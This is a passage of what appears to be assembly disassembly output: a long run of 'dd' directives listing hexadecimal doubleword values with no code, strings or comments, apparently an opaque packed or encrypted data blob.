0F782F131h, 6B46DFC3h, 35F2B82h dd 4AF6BE42h, 0FB0A0F31h, 0ECBBAC25h, 0CFE919BAh, 86A08051h dd 0A4D22CC8h, 0ABF3403Ch, 117CBE6Eh, 8061A34Ch, 2A543DE1h dd 427A9536h, 24836B22h, 98FB60Fh, 0B27F34E7h, 942D020h dd 0FBA7E92h, 1F14B1AAh, 61D8C9F2h, 0D912F682h, 78240509h dd 0FD3882B3h, 31FE2685h, 0A1A7B8FAh, 8E44D021h, 28AF5D95h dd 6C2968A2h, 0E9094830h, 0BF30705Fh, 92BF41C5h, 0C8D456h dd 0D8774F74h, 0C8053D4h, 1F99277Ch, 2BFDDE58h, 2FC2688h dd 0E9CCBE05h, 0F809ADC0h, 99CF2CC2h, 22525167h, 6CCDC5B1h dd 4B7045A6h, 576B8840h, 0A1437997h, 89534188h, 0CA62CAFBh dd 3B3D86FDh, 246C1377h, 0D3EC2708h, 1B077F45h, 0DD444DEDh dd 9CA0CFCh, 153EF1Ah, 883DCD0h, 4B140C42h, 0AF9B16EBh dd 88AE6425h, 3A4ACAF0h, 0B2CED546h, 0BBEB4B69h, 3F12A113h dd 0E9AD80EEh, 22CB6A08h, 52AB5C5Dh, 35E2778Bh, 14C48E55h dd 0AC0AA01h, 71071CDCh, 181D743Ah, 880858D4h, 0AADD803Ch dd 954320C4h, 10EB0406h, 8966931h, 0A801C1D5h, 0C87901EAh dd 8C197B01h, 8305E30h, 0F15941D1h, 11208855h, 44360825h dd 18C2E60Ch, 698540E8h, 0CC4B8188h, 29104F59h, 40ADA940h dd 1E3E090h, 590138F7h, 702D01B2h, 6993D19Bh, 81389931h dd 88CD26Bh, 472028DCh, 0A1089B63h, 0B61810A5h, 5796186Ch dd 8067B310h, 8C473E9h, 0AE06043Bh, 3F312097h, 64EB0888h dd 1937F01h, 7201D6EDh, 2A3301D0h, 0F7BB3888h, 89100B11h dd 0E6F8104Eh, 28090A18h, 7680DBC6h, 5E79CC0Dh, 86665410h dd 66F93E61h, 79160877h, 33C58220h, 43219779h, 3C15162h dd 0EC6B0746h, 0B8639C08h, 1866D230h, 18917808h, 0E680D339h dd 492E8090h, 0C4520680h, 6317708h, 3320DEFCh, 350850C8h dd 3D163110h, 10E53018h, 8C684D9h, 31188F44h, 0BF080E62h dd 483E0222h, 0C4037A2Ch, 6BA6C10h, 6308655Ch, 0BDCAA188h dd 79470818h, 82DFC928h, 9327A43h, 48E51888h, 809AAF00h dd 3E818B90h, 4F22B451h, 18CA401h, 1A036169h, 514B6131h dd 5D011908h, 52BC010Bh, 8C4E0A01h, 8813110h, 51DC8901h dd 98D576B4h, 0EF08C0F1h, 4918CA1Fh, 71239CE8h, 92D41508h dd 7044A120h, 0AD0A0FB7h, 4AFD89B8h, 1018342Eh, 8C62467h dd 3118A30Fh, 99087C51h, 0B4D1A28Eh, 18D04349h, 0A31808D6h dd 5F158060h, 2C4010C6h, 0A17A3108h, 95C99A18h, 24B8E508h dd 9788C8CCh, 5310086Ch, 873960Ch, 8FB440DEh, 0D449109Ah dd 0F93710CCh, 0FFC0D13Dh, 62EFF340h, 0F21E0885h, 3986202h dd 89209B02h, 193A6250h, 0F7038218h, 0B6083C8Dh, 0CD6294C0h dd 374BD20h, 10139B3Dh, 1048A7C5h, 0E45B083Eh, 880560Ch dd 6E03EB13h, 356220DEh, 3D3F489h, 810AE7Fh, 0F63E77E1h dd 471B1E4h, 60014DFFh, 32E8FC9Ch, 7BE85BA4h, 1E464418h dd 0C8F1C78Bh, 10C0435Ch, 752C473Bh, 13EB1802h, 0A7B90E89h dd 5893DDEh, 40890001h, 0BC90B49h, 748BF775h, 0DE81440Eh dd 62B9F003h, 0C0331E97h, 4FB10F03h, 0AC2C0530h, 0EE37D6E9h dd 0D00765CAh, 306A7205h, 585B5038h, 2C12DA96h, 91BBE180h dd 40863D0Ah, 0A1935434h, 80E36E43h, 2606D64Ch, 0EB14EC28h dd 55342F09h, 0ED0E5F0Eh, 0A56DC67Eh, 3700F65Eh, 89B962D6h dd 67AFE9F8h, 0E2E5994Eh, 8DC16965h, 4104E0EDh, 0BD90DA95h dd 0E3373C4Ch, 0AFCCEE02h, 0BB04F5E6h, 0A1F89013h, 0CF88BEB4h dd 2C7B65F9h, 325EC1FEh, 534A8038h, 695AB850h, 62027CDAh dd 0D68270Fh, 0C2D96857h, 0D4E1828Dh, 0AE84F728h, 81170EF2h dd 970BFBEAh, 5BE60308h, 58180667h, 4747B068h, 724E3737h dd 10222BA3h, 58120C65h, 496B18DBh, 1ED5F720h, 8DFFED83h dd 4E1E1D1h, 675BADEh, 8FEB07C4h, 0F4ED4A32h, 106F9918h dd 5B5BD821h, 39D6D446h, 4D8CBF16h, 0E9185845h, 76DF8515h dd 598C2D7Ch, 983ED9D4h, 661A9B8Fh, 3DD3A68h, 0B310464Eh dd 873B1AC6h, 4C8A99FAh, 0F76B50C8h, 1ABB96B6h, 487F2A4Eh dd 481CE32h, 6C52E3C6h, 38CDBB1Bh, 0A03D200h, 2637FA8h dd 982CCDBAh, 0C0F7317Ch, 0C93F49D7h, 1A0E804Ah, 665FC363h dd 84D0C2EDh, 0D124D3F8h, 6D2649E7h, 55189E00h, 3D7CECBDh dd 0DDA843A2h, 0A4560BCh, 5E13F581h, 31369916h, 5EE99C98h dd 6E14F1BFh, 8D6AB47Dh, 0C8DB009Fh, 55B2268h, 60B2DCCCh dd 90F2412Dh, 0D77BAFB7h, 5972FC25h, 23128484h, 68038801h dd 12629827h, 378E03B3h, 3534F075h, 802B00EDh, 59BB5308h dd 0E05A1123h, 927ED4A4h, 0FA2D0B97h, 0AFF87F4Fh, 0FE01EC1Fh dd 0C6A6B9h, 0A15BB210h, 495608F7h, 77FEE340h, 0FFB2ACBh dd 52D6954Ah, 0C1895E9Fh, 88B0D5FDh, 58F8CA89h, 960E9D60h dd 707E8C1h, 3D472725h, 91C7E472h, 0C092053Ch, 68171065h dd 0FAE316D3h, 2585C239h, 81C58169h, 810F52BFh, 88C63F0Ch dd 2692187h, 2DA8E90Ch, 729731A0h, 3ED5F575h, 7B816582h dd 9380B3C6h, 580A64BEh, 5433DD90h, 63C4E589h, 0C7880F30h dd 0EA6E8194h, 4A68001Bh, 524EA836h, 5F6BFF5Dh, 2E3BC943h dd 90E094F5h, 236F6202h, 655D4720h, 0E8E9058Eh, 0BF1C95B6h dd 0F16D272Ch, 84411E93h, 8C6DE498h, 64583913h, 76D2A000h dd 4FE921BEh, 0A85F85A3h, 1F4E7806h, 0E3A11516h, 7EFBC20h dd 5749DB42h, 7227E2BFh dd 8667807Fh, 9F643561h, 0D10556E0h, 51232016h, 74074A8h dd 12A8EC5Dh, 0E80DCF24h, 0D7A71A57h, 46EF5562h, 0A76AE904h dd 3D34D9EFh, 0DA40A90h, 85692101h, 2739021Eh, 0E9820679h dd 7509CDFAh, 0D1D3EB04h, 3EC78332h, 9F134D01h, 10EF9BA8h dd 4E4BD7B2h, 58C994F2h, 0F4E31D91h, 651D1BCBh, 0F3816316h dd 6F9677BBh, 87650C7Bh, 5640C57Dh, 20C177B3h, 71BE43C8h dd 0EC450D02h, 28F57463h, 217F1007h, 788D0501h, 62063AF6h dd 4FB4928h, 0B40D87E2h, 6632C032h, 0FE516E19h, 0B138D489h dd 0D701781Ah, 0E90801D8h, 0C34ABD87h, 9CFBFA45h, 0E77749AFh dd 1F46755h, 76E9F729h, 0E1478745h, 77800E2Fh, 61F18749h dd 70E90646h, 0CD23814Dh, 5CD26E1Ah, 0C51EA132h, 7FFF4B9Fh dd 871788D0h, 3B8553D9h, 0F3C68ECh, 68503EE0h, 2FE17244h dd 0B0D2C5BDh, 93A10323h, 96ED2B52h, 7BF3E9A1h, 0E2AA2F84h dd 0FB90DE5Fh, 12FCC5Bh, 6E5FC5A9h, 58101FF2h, 70DE4CC0h dd 0E14B7D55h, 3462FEFh, 4F0ACC79h, 31C6315Ch, 96C1C9C8h dd 0B5E65608h, 0F01CFD5Eh, 7B8B951h, 816FC430h, 0FE0D7DF1h dd 4422B7Eh, 0FE1ADDB4h, 0D77E9ADDh, 620A2B89h, 0A1F12535h dd 203E6885h, 40CD2898h, 10CB871Eh, 85B4DB5Ch, 0D129CEE9h dd 6A5AD11Ah, 339E26C1h, 9E817AD5h, 0A3122458h, 73000901h dd 6DB3BF2h, 34E94B98h, 5B284607h, 145805Ah, 0C5110C82h dd 0A2FFD17Fh, 68D5DD82h, 83418E09h, 0AA5494D7h, 5326B98Ah dd 256719BFh, 4E142F22h, 24E35EC1h, 3F2C4592h, 42588D28h dd 0C8FE8DCEh, 0FD201BACh, 0AD9A5EB0h, 0EA32D04h, 97BADA98h dd 18B3496h, 50DD865Ch, 9A7C2AE4h, 678B5AFh, 0B1D32E6h dd 0F681418Dh, 0F372EB4Eh, 53A8E06Eh, 95B5D02h, 0CAE6E9E8h dd 0F590F7A4h, 12C3B957h, 0C103E0C0h, 0BF52866Bh, 388C64C8h dd 0F240C2D2h, 0F580D3Fh, 0A6EAD10Eh, 0DA1274h, 0F154DDB8h dd 0C15E050Bh, 8A0D552Fh, 0C806EE4Dh, 204A2561h, 3BBECF42h dd 5EE0E9D0h, 0B4DBF4F9h, 12D3075Dh, 29BA58C3h, 1E07B492h dd 508D8B0Fh, 9E68912h, 3E29F8A8h, 0F77AABFEh, 3197361Eh dd 0BD250F98h, 9FF68CBBh, 325FE162h, 0EAC57D0Ah, 6044E989h dd 1460BE19h, 0C9529D79h, 0A77BCD55h, 0C3E9C2C8h, 5F5264EAh dd 0C08EB88Ch, 0DAF75A58h, 2C66B892h, 78DD103h, 7C820D4Ch dd 0FDE4C75Ah, 0AF31A2B5h, 21BB90F7h, 0D7DE5810h, 2225F102h dd 0C0772FF6h, 0D3A9E956h, 874FF929h, 5F09D1ECh, 682CA066h dd 19A8A085h, 5EE64867h, 765D49B2h, 41F7636Bh, 0EAC11C0Fh dd 489D0505h, 0B9902624h, 5E5841D6h, 3F33F13Fh, 79DFBFE0h dd 0B8200B34h, 3A85D3C7h, 462DBF01h, 0B7587A20h, 0BBE97781h dd 4870A419h, 3BD4923Bh, 0C2490029h, 302AA7F5h, 0AB49D40Dh dd 4524317Dh, 0A6704CA1h, 7D27AC8Dh, 0CB2303BAh, 167CE9D2h dd 0AF217C5Fh, 0F67B6A8Fh, 5E688205h, 0C827FC02h, 7C410FBh dd 67091205h, 8CB65617h, 31AB7D9h, 57228975h, 4BCAEC00h dd 674E8C12h, 0F2D3E3B2h, 6D33DA9h, 4BBDE9DAh, 53F28851h dd 0C15EAB18h, 32855BDCh, 275A5059h, 0A021E43Bh, 1EB85197h dd 844DA7FCh, 0CD3185C4h, 0D8CF2C04h, 0CEF861FAh, 99540C61h dd 8E460CFBh, 56EED3A7h, 8199F958h, 128113D5h, 26ECB46Eh dd 0D6AF584Ch, 5EC90DB2h, 6CB4B077h, 880AC4D3h, 5920FAE3h dd 1E10CE81h, 0CB3EAF47h, 0FEA13B9Ah, 0EE02FCEEh, 843BAA74h dd 29FB51DDh, 0E72C3FC8h, 5B12E7Ch, 0B442B034h, 5C39417Ah dd 330513B2h, 0BA4E0C4Bh, 8122ED4h, 0C5B62CBFh, 0F9315009h dd 0EA85D544h, 600812EDh, 0B64DE97Bh, 0D6E9A49Bh, 68B04C71h dd 0A917F631h, 6D62D620h, 0EA0917D6h, 99847E75h, 4F851FACh dd 7B21CA48h, 8BFC1824h, 0C412DA53h, 19C60119h, 1CB9ACCh dd 461230F7h, 0CACE514Ah, 3258C713h, 987F9980h, 4EF16887h dd 0C40A3131h, 0AA085593h, 6D48A4DAh, 0B8AC3613h, 0FAC09C74h dd 89CD5AEFh, 5F7F90F9h, 400EF4FBh, 4C21444Dh, 0B0BF0439h dd 0AC80289Bh, 91622EFh, 0DF2908D7h, 2508DD88h, 749599E6h dd 60C14715h, 9C03E902h, 0F6728CA8h, 6F056C91h, 920E2E5Bh dd 1660E0F7h, 4968E927h, 0D53B5669h, 24C4891h, 2D2F77C5h dd 95054C76h, 55961865h, 22AEBA02h, 0EE08E061h, 40480387h dd 0CABAE947h, 0CCBB2C04h, 2EC17F44h, 65BBA671h, 0A910E153h dd 12B05A3Dh, 80E2B9FEh, 7879B951h, 0F9FC7A26h, 0AC1C8867h dd 7D1A165h, 0CCF4DDF7h, 660EC122h, 3B3FC568h, 871965F7h dd 3758204Ah, 0C021430h, 8054C9ECh, 3D79B842h, 407C2D07h dd 0D10CD8D6h, 815AA6E0h, 0F500715Ch, 11CC6FD6h, 11D16C4Dh dd 4F256860h, 5A2EE657h, 0FD2B17C2h, 40FCA626h, 0F57701EBh dd 0E632DB2Fh, 0C42FE933h, 1A95B6FFh, 0D797D77Dh, 675182CCh dd 1416BC40h, 0CFDD04F2h, 2E322255h, 0D704408Bh, 0A3F582BBh dd 0F37D47F6h, 0E44C25Fh, 5D8970A1h, 14F03929h, 0C0D35739h dd 6B886852h, 0ED145A78h, 29A5C025h, 58C17D49h, 0F1309BEBh dd 51962C89h, 21DEF9A0h, 0EBC57FC0h, 9F780712h, 470A3379h dd 67070F34h, 0D79B484Ch, 14352980h, 4B5A2C39h, 30AB4B85h dd 35CAE971h, 69C339C7h, 0FD0C09BFh, 3008A728h, 4C2A791Ch dd 98E25D4Fh, 911B94C5h, 4252C366h, 0B778F8FBh, 875043B4h dd 0D690B0D7h, 122CBC08h, 0C14037E9h, 0CEA6535h, 0C6213EB8h dd 461C4118h, 3A561B68h, 3FF612D3h, 88A43CEDh, 3262F88Fh dd 0FD495A41h, 692DBDEEh, 0C1AEF6DCh, 2C4C9868h, 5835D2F1h dd 6B7ADA00h, 1201518Ah, 4B19E9CEh, 822231ADh, 0EA0FFB0Fh dd 9A0299C3h, 7D564565h, 0AC80C76Ch, 96270B1Dh, 0BE44600Fh dd 650D7887h, 0C06A6454h, 0F3014540h, 0C8C8189Ch, 570D1E04h dd 15B1B0AEh, 406BDE97h, 48D2685Ah, 7B6B469Dh, 0C0949760h dd 109367F5h, 800B0394h, 0EFF66EFh, 0E165F62h, 0DCC86953h dd 2F71012Dh, 0C8013F13h, 82074405h, 46AFFB34h, 9D34E07h dd 201AE657h, 5997F3BDh, 4F080914h, 0AA674294h, 0E98E5127h dd 8608A89Fh, 6BAC01C5h, 7479E982h, 95A00066h, 0F88BDE71h dd 60B96CB2h, 6AD50C72h, 74F6257Ch, 73FD4362h, 0C4C17EF3h dd 5628D208h, 0F1926FE3h, 3E430CFEh, 0E01C4BC3h, 4F143880h dd 34861603h, 0E1857A59h, 270151A3h, 121880Dh, 1523FCEFh dd 0C30768BAh, 89E1398Dh, 0D2EA3BB5h, 0C57750AAh, 0BBE986E1h dd 0F8FC2325h, 79BE7A1Eh, 16775CCDh, 0C9C520h, 5317667h dd 4B713963h, 40E8D100h, 9C162B2Dh, 0B6AEA65h, 1D8D7BAh dd 5C051077h, 16679A66h, 15119A02h, 5F0BAD01h, 0B8F1FB21h dd 0FF3CE6Eh, 5238961h, 0E8E82DC5h, 0E0952C9h, 0DB63E818h dd 62B56880h, 79CF0B16h, 6CC6E50Fh, 552555CAh, 4E6135F9h dd 0E9D88564h, 1A91678Ch, 10581BFh, 0E0D27F02h, 0DBFCA95Dh dd 0A0F107FCh, 0E9628122h, 5BB16814h, 62FFE684h, 7C405127h dd 0EA0BC09Eh, 76E28007h, 0C3C0CC7h, 24985C34h, 0DE0F5758h dd 791EA20Bh, 30FD828Dh, 26447448h, 0A00AB920h, 0BCEF50A7h dd 6EE8A77h, 414802DCh, 0CAAE7198h, 8C84F06Bh, 4FBB13A0h dd 0CBBE22BCh, 0CC484FDCh, 0BC004839h, 40F6810Dh, 9750F062h dd 570E3446h, 1C6033E9h, 24B22F2Dh, 50D18A22h, 543B5DEBh dd 1A17C360h, 0E1DFC86Eh, 781AC40h, 2F0F5EEDh, 0D4D4B420h dd 9344FFC6h, 0BB0FFB65h dd 22242193h, 57D06B03h, 0F3703797h, 0C22C28EDh, 911D5B3Bh dd 4AE7A406h, 3D8518F6h, 50CCF1AFh, 7C87EB1h, 0B6525966h dd 40DFE2CFh, 93AC02F3h, 4E31E60Dh, 4871F666h, 0BC7EF076h dd 463CBD75h, 126B6299h, 7805305Dh, 0A610B713h, 682A03ABh dd 89253BA1h, 2CD4DE43h, 32685AE3h, 0E7255DA3h, 909EA268h dd 8BAF716Bh, 42315A7Ch, 29843430h, 0F52DD005h, 0A0059746h dd 0B340966Fh, 1D7450EBh, 5C20F67Ch, 0BEB47F86h, 748E72C0h dd 1C614890h, 9324FE00h, 957BBB70h, 3BB05DF4h, 43EE5855h dd 3A04BF74h, 277F68ACh, 0D1C698EBh, 18ADE915h, 75F25F54h dd 1CD9A810h, 0F78AEE88h, 8004C55Ah, 0C2FF6FC7h, 7C785461h dd 0AD314FBDh, 1B89AD32h, 8628F4FEh, 62176325h, 3CCD7CDCh dd 48530790h, 0BE267783h, 0A5409513h, 0EC14F62Fh, 72DA39E3h dd 7354072Dh, 0B9510680h, 0A0433F38h, 81269FABh, 57982B93h dd 94B9ACAh, 2C64685Fh, 20522D99h, 8870D397h, 0F0835497h dd 466BA6E9h, 2503413Dh, 0ED80FF55h, 5A887473h, 95018054h dd 4017A907h, 0ACDFF7h, 3A44B905h, 0E98646B4h, 0A890757Fh dd 7253F000h, 16BA522Eh, 7B611F37h, 0FDE2404Ah, 42485F51h dd 0E7BB5302h, 7D37EE10h, 7C5D3C68h, 0E9271D7Fh, 0C896108Ah dd 0FE6E2F6Ah, 417F2050h, 16D65F2Fh, 411EFAF3h, 0C6F07A37h dd 10531F9Dh, 0BE72092Ch, 6F55CEE6h, 0D4176ED0h, 970B20B1h dd 1262E34Ah, 0BC13DA29h, 0C5536384h, 0DB14FBCh, 0BDB3367h dd 0C6417468h, 0C639274Fh, 2FFD15ABh, 2D8A3263h, 66800349h dd 48EE8058h, 0F0E0FDFEh, 3E3DF89Fh, 0F10BC1FEh, 0DA04287Eh dd 0DF29AB5Ah, 4002FA20h, 0D5BE580Ah, 195C720h, 9B0CDE2Eh dd 211561FEh, 5BDDA98Bh, 64B3159h, 26238CACh, 189A59CFh dd 0F9315624h, 0FC41A490h, 0A6458878h, 5948D742h, 749F8867h dd 0DE037428h, 0BE04096Ah, 0A80B5ADCh, 0F701174Ch, 0E9B1B5A8h dd 0C99D3285h, 78ADDC87h, 0D39FEEEDh, 13E41A83h, 0E1A26175h dd 0D702CAC9h, 29037402h, 97B914DFh, 6424B479h, 56F56862h dd 38D52593h, 905DE80Fh, 734F33FDh, 0D0BAFB13h, 315FB048h dd 0CA7293A4h, 0F35AD332h, 0BA715559h, 0BE74442h, 9E419F2h dd 7EF689Fh, 8955C4CBh, 5A248BC7h, 24CBBCB4h, 1D0E6E75h dd 401941CFh, 7B50564Dh, 94658602h, 4A42FD37h, 0FC600B5Fh dd 0C6617AF1h, 0DA0D81AFh, 5B3DEA80h, 0EE01C2D0h, 3BD090F2h dd 0F6E42E8Ch, 1F02C3CBh, 0E1A06A5Bh, 44A1BD03h, 0D547C4EAh dd 0AC60001h, 94B90DAh, 9309BAC2h, 90F20483h, 485E6A27h dd 0E88207B9h, 371B702h, 3529E964h, 0D2F83B13h, 47D830Eh dd 165F0AB2h, 2BF89F7h, 3AE0FB98h, 176840Dh, 806BAFDh dd 1105091Ch, 367434ACh, 37C3400Ch, 6C840FEEh, 38691304h dd 0F12593D6h, 0D0876418h, 4A0F05E7h, 8740F83Ah, 36095CC5h dd 1DF7E6Bh, 0AB208435h, 99588083h, 0E9755834h, 0F52F5DD1h dd 0E86EC15Fh, 0FB31D8E2h, 80F23BF3h, 0E0E90204h, 999DC806h dd 35CD0B17h, 0F9749CBCh, 30785E62h, 681014BDh, 0B39674B5h dd 3535C60h, 9249A0Eh, 706B5538h, 0FFFB83FFh, 0BD360037h dd 3B0F4D6Dh, 0C2B7E5C1h, 0B8D02BEh, 5CDBC24Fh, 0A9908C54h dd 8E07B85Ch, 2D55CC22h, 23A00D40h, 0FFE83083h, 8EE906F8h dd 190F14Ah, 61C62D74h, 3DEB8030h, 0E1F7EA44h, 123B18E4h dd 4891CB19h, 4AEE985Bh, 0EA67BC01h, 0E02131Fh, 0C6CF20C7h dd 293E1E83h, 78280C77h, 0FE419D34h, 55530802h, 0FA48AD92h dd 68E45557h, 0E203D802h, 0F03EE90Bh, 2ECF9A8h, 0B8957F61h dd 40BB5A5Bh, 423DC67Bh, 214FA4E3h, 81B44DBCh, 623F3215h dd 15F205BEh, 0C11D7013h, 18618FB9h, 1260842Ah, 30194FB3h dd 0D95B10E5h, 4E016CF8h, 4B60B8A1h, 68054DEEh, 9625994Ch dd 515F4DBAh, 0CCEA676Bh, 0D4093A76h, 2899576h, 48055A77h dd 831C4817h, 8B2B08D1h, 369B514h, 9F28A54Fh, 5951C657h dd 0C8C8E604h, 58CE762Ch, 0E93A5B98h, 8B9EDA26h, 0D2667CC7h dd 49FD014Eh, 0FB157385h, 0ECA0C8Ch, 5D65AC07h, 0F4C44FEh dd 3086AE22h, 5008801Eh, 6CD502B8h, 12E93B89h, 5353055Dh dd 520F7C80h, 1FBBF473h, 0E5AAB8A4h, 4DFEB5A2h, 9C35C0Ch dd 0D8557282h, 0DF70087Fh, 9B289602h, 58BC70Fh, 0CB0132AFh dd 32B84A46h, 583318D8h, 10758548h, 0E44A7A21h, 0AB178AE7h dd 0F271DA5Eh, 0C100139Ch, 819703EAh, 0C9B24860h, 2D86802Fh dd 2A744FACh, 0E039E4EBh, 520B447Ah, 55640A76h, 32077E88h dd 570795E2h, 0DF84D662h, 5107429Eh, 0CDFE30B5h, 83FEC524h dd 0B12D15FCh, 0F650295Ch, 0C5B0C423h, 12A1DF39h, 4BC528E9h dd 0D8FDD3EFh, 4C75C6D2h, 18865C2Fh, 0C5F4E78Ch, 6D7D2FE6h dd 5B415B48h, 337B40F6h, 0EA717C29h, 4E3C1AE0h, 5A585213h dd 40072C00h, 2546410Dh, 0EA58756Fh, 0FD354807h, 7FF9BB7Bh dd 5527E0E4h, 314920E1h, 1F3F732Fh, 8B40964Eh, 0FE7AF88Ah dd 89122299h, 5F2D0EF6h, 29D3A4A0h, 12019D2h, 294AA254h dd 78CFF0Ah, 68175EA2h, 41CD658Eh, 7BCE4CFAh, 66EE9D8Bh dd 27AC9488h, 51C56881h, 0F1C8C451h, 5D0CE72Ah, 34FE104Bh dd 0FDE5528h, 4B1C6F09h, 0CAD3A684h, 0BD81400Ch, 137C2F74h dd 1E6FF60Bh, 272920DAh, 0C0227755h, 14DCA70Ch, 68E501F1h dd 0A02CD668h, 0C835E3E9h, 41807520h, 93866A56h, 0F3813BBFh dd 70DC2309h, 68054E7Eh, 49FD5ECEh, 65418C81h, 80EE4554h dd 0F702E824h, 9C1AD84Ch, 0BE299112h, 890C1F7Fh, 353079EAh dd 0C082037Bh, 5F7F682Ch, 0CD8CC41h, 0D7F0FE8h, 42EDA48h dd 0CD7190ABh, 239BE580h, 291F27D2h, 80B4D62h, 0C0BD9BC6h dd 0C5809CCDh, 94895956h, 1759EC9Fh, 32ACB4B3h, 117790Bh dd 63040C44h, 5E70B13Fh, 59E7D8BBh, 0CE324B38h, 487B57BCh dd 7A001FF3h, 0E9428374h, 5AC2E49Dh, 8BC7215Ah, 3FA7D8B2h dd 992E7D1h, 0A3E6A4A8h, 3AEC6614h, 44FD78DBh, 0ED918008h dd 444BB66Ch, 5E2928E8h, 0A199C2E5h, 134AC9EBh, 82864EF8h dd 0BA051A28h, 683D1DB8h, 7004ECC0h, 2A4B583Eh, 140C9516h dd 0D21D1FD0h, 0F5DABE25h, 5A0801B6h, 8546E5F7h, 0EE184D91h dd 0B66B4AE4h, 9AB982A6h, 4054A417h, 0C57F101h, 0E1D8582Fh dd 0EFDF9898h, 2B17E43Bh, 5F657A75h, 7BF006FEh, 59CE3F09h dd 215DE683h, 91FF19EFh, 303D265Fh, 80B5A592h, 4959BAA0h dd 0DA90A895h, 4446045Bh, 0D10881E9h, 0D4EDF67Ah, 50482AC2h dd 0A7805E8h, 0FAE05867h, 442EFDB5h, 81525A8Ch, 0D916C763h dd 39862064h, 50706F41h, 4A412E0Bh, 35AC08E3h, 7C1CEF80h dd 958906DEh, 8DC21074h, 7645F85h, 677CD300h, 3FEF0533h dd 1770A9Fh, 1F072DF8h, 96DF675Fh, 3FED88CBh, 15BD804Dh dd 578E2E17h, 0A408EE0Fh, 37D168EBh, 116C1A8Bh, 0A27506CBh dd 75731919h, 6ACA1199h, 29AE8717h, 0C0CFF87Ah, 378551C5h dd 5889E9E2h, 0E3BB6104h, 229308D9h, 10C51801h, 4492A5F6h dd 1614D3BDh, 1649A30Ch, 0BBE9AB78h, 0A27444D7h, 0C1CBF85Fh dd 295B38C2h, 8213C670h, 2EF33AE3h, 219EAF18h, 827E37EFh dd 0DCD54077h, 344082C2h, 1BD20E25h, 98332BC1h, 9153F84h dd 9980BFB5h, 2621EFE3h, 57D1054h, 0C3422304h, 22FDADE3h dd 98EA647Bh, 0AEBBE7Fh, 1E2E6855h, 47274068h, 0C5B53E60h dd 1372AA9h, 14F06BB6h dd 227AE95Dh, 0D1E51F68h, 6B2E2B8Fh, 2DD9F059h, 1A2CC88h dd 305CF410h, 75741782h, 65497D49h, 0B1304D6h, 2B443501h dd 0E93B3311h, 96669287h, 8DD3F4Ah, 1BE96106h, 0B1057440h dd 5332684Fh, 0EBF9B944h, 63848A1Eh, 5C76A566h, 0C226CF8Ch dd 0F2E29F58h, 6A21E88Eh, 3C4E1B6Dh, 9FDA48Ch, 9E7FF289h dd 0E95C1209h, 2D9C406Ch, 0DCCDB2DBh, 502599B4h, 45883DEBh dd 5ACCA0CEh, 0E9493F0Bh, 0BD452062h, 60B7736Dh, 75EA7045h dd 71981744h, 6B4F8F90h, 57DA1F30h, 0E90E13E1h, 5B88B6F5h dd 2ECC2DE4h, 17875E21h, 663FC046h, 55741FBAh, 3C37295Ch dd 215AA702h, 6D1CE90Ah, 8338242Ah, 7526ECA1h, 0A305A3E3h dd 0C3EB3137h, 0D4E9F83h, 0DF4089BCh, 3D491F29h, 61EDC117h dd 20DC4403h, 63192842h, 1C4252D9h, 3F4899F4h, 9BCFE8E9h dd 27332080h, 0B9C1D2E9h, 0A1CF7059h, 13F7641Fh, 28C4D712h dd 0F812CD5h, 0F36BD179h, 8BFC4E54h, 5896FEC8h, 98A659ECh dd 0BB2BCD09h, 2C07F36h, 4E1E97C9h, 0EC090DA8h, 0B31AD9E7h dd 120E947Ch, 0C91241BFh, 19E8902h, 0CC133B99h, 604AE9ECh dd 0FEAD52Ch, 0F64C127Dh, 548404D0h, 0F1EE3133h, 0E908017Fh dd 9D2853h, 0D8F6C0FEh, 9D09404h, 84034E0h, 0EF862107h dd 8008C7ECh, 0FC6DE639h, 52685709h, 25F66630h, 30564B55h dd 6E965572h, 57E93F9Ch, 0C4D7EE92h, 2AE91045h, 0AAC4AADh dd 8571D6DEh, 38CAFA6Bh, 3830BF96h, 5A6923C3h, 56B6F041h dd 4343E92Dh, 0B9D2CDC4h, 0ABD05796h, 0E1D6719Dh, 8E4075E9h dd 0E65CE671h, 97C2C2Dh, 0DBD68AF4h, 91D623FFh, 0E7BF84FEh dd 28421922h, 226DF1E7h, 958320h, 6DBF2D6Bh, 6A44C455h dd 0A0F70BBAh, 0E4129941h, 59467E0Ch, 5B2D5159h, 2BB241B0h dd 0A9963D85h, 102DE2B0h, 5C00B470h, 809FB151h, 30E7F4E1h dd 0C8742824h, 8FC5615Bh, 1BDF6A81h, 0B8F53A7Ch, 0CEE9A034h dd 0FF10D2F9h, 0A0576628h, 0C027EABBh, 3899EDA3h, 0BBF6A0EFh dd 0EE677461h, 0F06A1EE6h, 0CFD32D63h, 0D8EAABCh, 876F005h dd 0B90115C5h, 7EE64B83h, 7F9DC16Bh, 0C7618138h, 6D7020A1h dd 72FDE7D8h, 1C0C4C27h, 9923B90Bh, 0AEC96003h, 59CC9F05h dd 51B2E688h, 1047994h, 1A64CE9h, 26A21BAh, 5BF00760h dd 58F6A205h, 8D7130Ch, 888407E2h, 40C243A2h, 169C149h dd 841DE28h, 835E4945h, 9E82F3Bh, 1CBEF78Ah, 0AB90C599h dd 8012B305h, 36C0ABC3h, 0CB715B68h, 88C2BC85h, 0AFEEDC00h dd 0FE0B4529h, 594EA968h, 0E4798CD6h, 150EE2ADh, 0C77F5210h dd 96E04F2h, 5A248130h, 18F3E568h, 43B8AE5Bh, 0BE055FFAh dd 2E21285Eh, 0F66C40BBh, 5D0F7FA6h, 3CE95217h, 0BB3C35ECh dd 141C418Ah, 1248B29Fh, 0C28136DEh, 76F26850h, 0F45E3336h dd 5C9D5A52h, 41C2D930h, 5BE9DC6h, 3AEC3C06h, 0B0501C0Ch dd 58C10EE8h, 7C0FE109h, 541BA613h, 995E283h, 2EBD96BDh dd 0B4BE831h, 9C7D998Fh, 0D98906E5h, 0EB102E9h, 0DD5206B6h dd 4B7946Ch, 1A60CD1h, 10B4BA05h, 669FD0D2h, 630C3F04h dd 7EEA015Dh, 0E820559Dh, 0C550042Fh, 43214E2h, 566F63B2h dd 0BB924C3h, 24506819h, 9701167Fh, 0FD050140h, 21E4EDBEh dd 0B86295AFh, 78BA92A9h, 7B25E929h, 40FDF4F7h, 70AD2F0Fh dd 97EBACB0h, 81094628h, 34430107h, 0A63AB61Ch, 0CBE90B83h dd 7999D47Ch, 0A533295Dh, 89EDA119h, 0C140F47Eh, 1BFD061Fh dd 3455108Dh, 1F80F43Fh, 0AA96F4B0h, 0C5397340h, 9CA9018h dd 61A81E0Ch, 4E8C8200h, 0F9B06594h, 0B7E82620h, 814365C0h dd 7B5F30Eh, 0BF0C5393h, 0BF21A541h, 88A38D82h, 0DC308F6Ch dd 0EEBA7430h, 